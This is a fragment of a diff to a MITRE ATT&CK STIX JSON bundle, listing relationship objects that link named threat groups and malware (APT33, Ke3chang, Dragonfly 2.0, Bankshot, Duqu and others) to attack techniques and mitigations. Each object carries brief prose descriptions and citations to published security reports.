"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", + "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. 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Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0f76d408-be8a-478e-8a5a-aab1d1f96572", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) establishes a backdoor over HTTP.(Citation: PaloAlto Patchwork Mar 2018)", + "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", + "modified": "2020-03-17T00:19:57.934Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/", + "description": "Levene, B. et al.. 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Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--04203d88-5fe1-4e63-be65-51a17705716b", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a modified version of pentesting script wmiexec.vbs, which logs into a remote machine using WMI.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Github AD-Pentest-Script)(Citation: Symantec Cicada November 2020)", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "modified": "2020-12-17T18:57:21.331Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. 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Retrieved December 17, 2020.", + "source_name": "Symantec Cicada November 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8c763d80-4c50-4ebd-b2c6-3cad22c55bfa", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) gathered information and files from local directories for exfiltration.(Citation: Mandiant Operation Ke3chang November 2014)", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "modified": "2021-11-01T21:12:14.696Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.034Z", + "external_references": [ + { + "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "source_name": "Mandiant Operation Ke3chang November 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--119cfc44-4018-4ce0-b223-b0f353d1c113", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) collects files from the local system.(Citation: McAfee Bankshot)", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "modified": "2020-02-18T03:40:29.805Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/", + "description": "Sherstobitoff, R. (2018, March 08). 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Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--6e466b8c-5798-4976-becb-9237f6154aab", + "target_ref": "attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", + "modified": "2020-10-23T15:04:39.981Z", + "source_ref": "course-of-action--676975b9-7e8e-463d-a31e-4ed2ecbfed81", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--142800a5-62e9-48e9-97ef-186cfb68ffa1", + "target_ref": "attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446", + "modified": "2020-01-24T17:35:47.835Z", + "source_ref": "course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.028Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--1ccf8b65-7f3e-4db7-933c-0a9bfae9602e", + "description": "(Citation: TrendMicro Patchwork Dec 2017)", + "target_ref": "malware--d1183cb9-258e-4f2f-8415-50ac8252c49e", + "modified": "2019-07-11T13:53:06.089Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. 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Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--36adf5c8-2426-41e1-807d-f4d7958b9d54", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "modified": "2020-03-13T21:01:23.214Z", + "source_ref": "course-of-action--84d633a4-dd93-40ca-8510-40238c021931", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--87ddc052-0933-4722-9fb2-4653c4a3663c", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to stage files for exfiltration in a single location.(Citation: aptsim)", + "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", + "modified": "2020-03-16T23:31:14.695Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "aptsim", + "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.", + "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--558d3835-3bcc-4c07-92b1-626a89d79e76", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) created accounts disguised as legitimate backup and service accounts as well as an email administration account.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "modified": "2019-03-22T20:13:49.252Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--0e89ca75-b73e-476e-b56d-1cf815fa7868", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload has searched all fixed drives on the victim for files matching a specified list of extensions.(Citation: Cymmetria Patchwork)(Citation: TrendMicro Patchwork Dec 2017)", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "modified": "2021-11-02T21:06:31.460Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.077Z", + "external_references": [ + { + "source_name": "Cymmetria Patchwork", + "description": "Cymmetria. (2016). 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Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f6cd8be3-3145-4088-ae9d-d006be865c01", + "description": "[APT33](https://attack.mitre.org/groups/G0064) has lured users to click links to malicious HTML applications delivered via spearphishing emails.(Citation: FireEye APT33 Sept 2017)(Citation: Symantec Elfin Mar 2019)", + "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", + "modified": "2020-03-12T00:31:59.960Z", + "source_ref": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "FireEye APT33 Sept 2017", + "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + }, + { + "source_name": "Symantec Elfin Mar 2019", + "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7b6eac00-8a13-42e3-b533-a40314eada68", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used the net view command.(Citation: Nccgroup Emissary Panda May 2018)", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "modified": "2021-03-29T19:43:26.734Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Nccgroup Emissary Panda May 2018", + "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--7aea964a-cd9b-471e-bc7b-2a270c974289", + "description": "(Citation: Talos Group123)(Citation: Securelist ScarCruft May 2019)", + "target_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-09-09T19:12:32.904Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + }, + { + "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", + "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.", + "source_name": "Securelist ScarCruft May 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--11f6ad22-0293-47bd-95d1-34bf4ee1de9e", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) maintains access to victim environments by using [FLIPSIDE](https://attack.mitre.org/software/S0173) to create a proxy for a backup RDP tunnel.(Citation: Mandiant FIN5 GrrCON Oct 2016)", + "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "modified": "2020-03-19T19:54:13.826Z", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--968610c5-7fa5-4840-b9bb-2f70eecd87fa", + "description": "[Duqu](https://attack.mitre.org/software/S0038) examines running system processes for tokens that have specific system privileges. If it finds one, it will copy the token and store it for later use. Eventually it will start new processes with the stored token attached. It can also steal tokens to acquire administrative privileges.(Citation: Kaspersky Duqu 2.0)", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "modified": "2019-04-24T23:18:53.108Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "source_name": "Kaspersky Duqu 2.0", + "description": "Kaspersky Lab. (2015, June 11). The Duqu 2.0. Retrieved April 21, 2017.", + "url": "https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e94576ee-284c-4782-a6ef-b7dd8a780254", + "description": "(Citation: Unit 42 Playbook Dec 2017)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT35 2018)", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "modified": "2019-09-04T22:55:41.562Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "url": "https://pan-unit42.github.io/playbook_viewer/", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + }, + { + "url": "https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.", + "source_name": "FireEye APT35 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--e9560ef6-7ed4-45bd-be7c-525f6708308e", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) has disabled host-based firewalls. The group has also globally opened port 3389.(Citation: US-CERT TA18-074A)(Citation: US-CERT APT Energy Oct 2017)", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "modified": "2020-03-28T00:23:24.364Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--bde913a9-9895-4414-b79a-3156159033aa", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is known to use RAR with passwords to encrypt data prior to exfiltration.(Citation: Mandiant Operation Ke3chang November 2014)", + "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662", + "modified": "2021-11-01T21:12:14.723Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.033Z", + "external_references": [ + { + "url": "https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "source_name": "Mandiant Operation Ke3chang November 2014" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--ab524992-5666-466b-8c12-ec79b269901b", + "target_ref": "attack-pattern--6856ddd6-2df3-4379-8b87-284603c189c3", + "modified": "2020-03-30T19:16:29.726Z", + "source_ref": "course-of-action--25e53928-6f33-49b7-baee-8180578286f6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.019Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--314a5160-17e0-44eb-9f4b-1a8e216b56a2", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) leverages a known zero-day vulnerability in Adobe Flash to execute the implant into the victims\u2019 machines.(Citation: McAfee Bankshot)", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "modified": "2020-02-18T03:40:29.831Z", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "source_name": "McAfee Bankshot" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--b6fc7740-4e5f-4f4c-8b1e-d0e3368eee03", + "description": "Most of the strings in [ADVSTORESHELL](https://attack.mitre.org/software/S0045) are encrypted with an XOR-based algorithm; some strings are also encrypted with 3DES and reversed. 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Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy" + }, + { + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--49455f19-b4da-401f-8f61-93965f5a1850", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) modified the Registry to perform multiple techniques through the use of [Reg](https://attack.mitre.org/software/S0075).(Citation: US-CERT TA18-074A)", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "modified": "2019-03-22T20:13:49.340Z", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A", + "description": "US-CERT. (2018, March 16). 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Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--9878ff64-0206-4a62-a5aa-3f909da87081", + "description": "(Citation: Symantec Orangeworm April 2018)", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11", + "modified": "2019-03-25T15:36:46.850Z", + "source_ref": "intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. 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Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--8467ea5f-cb0d-4eb6-b524-8bfd01e58721", + "target_ref": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", + "modified": "2020-03-09T13:00:19.403Z", + "source_ref": "course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2018-01-16T16:13:52.465Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--665d8625-e2d1-45d5-b5e3-d9bc0e242e7d", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has collected data from victims' local systems.(Citation: FireEye APT37 Feb 2018)", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "modified": "2019-09-09T19:12:32.511Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "description": "FireEye. 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FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--dfcc52d8-4664-48c4-9e35-2be2cd649d93", + "description": "[APT32](https://attack.mitre.org/groups/G0050) created a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory. 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Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--eb7a6a3f-cc88-4ed7-8421-4642c1eb1978", + "description": "The \"ZR\" variant of [BACKSPACE](https://attack.mitre.org/software/S0031) will check to see if known host-based firewalls are installed on the infected systems. [BACKSPACE](https://attack.mitre.org/software/S0031) will attempt to establish a C2 channel, then will examine open windows to identify a pop-up from the firewall software and will simulate a mouse-click to allow the connection to proceed.(Citation: FireEye APT30)", + "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "modified": "2020-03-28T00:31:56.732Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-12-14T16:46:06.044Z", + "external_references": [ + { + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--d0b3dc96-7adb-4d38-b3cf-b448535ffa60", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) has a command to delete files.(Citation: FireEye CARBANAK June 2017)", + "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", + "modified": "2020-03-16T15:31:23.859Z", + "source_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. 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(2017, October 16). BlackOasis APT and new targeted attacks leveraging zero-day exploit. Retrieved February 15, 2018.", + "source_name": "Securelist BlackOasis Oct 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--a06bd922-b887-4134-81cb-1e4180cf5a5a", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.(Citation: DustySky)", + "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "modified": "2021-04-27T19:53:40.814Z", + "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2017-05-31T21:33:27.055Z", + "external_references": [ + { + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf", + "description": "ClearSky. (2016, January 7). Operation DustySky. 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Retrieved April 28, 2020.", + "source_name": "FireEye APT32 April 2020" + }, + { + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 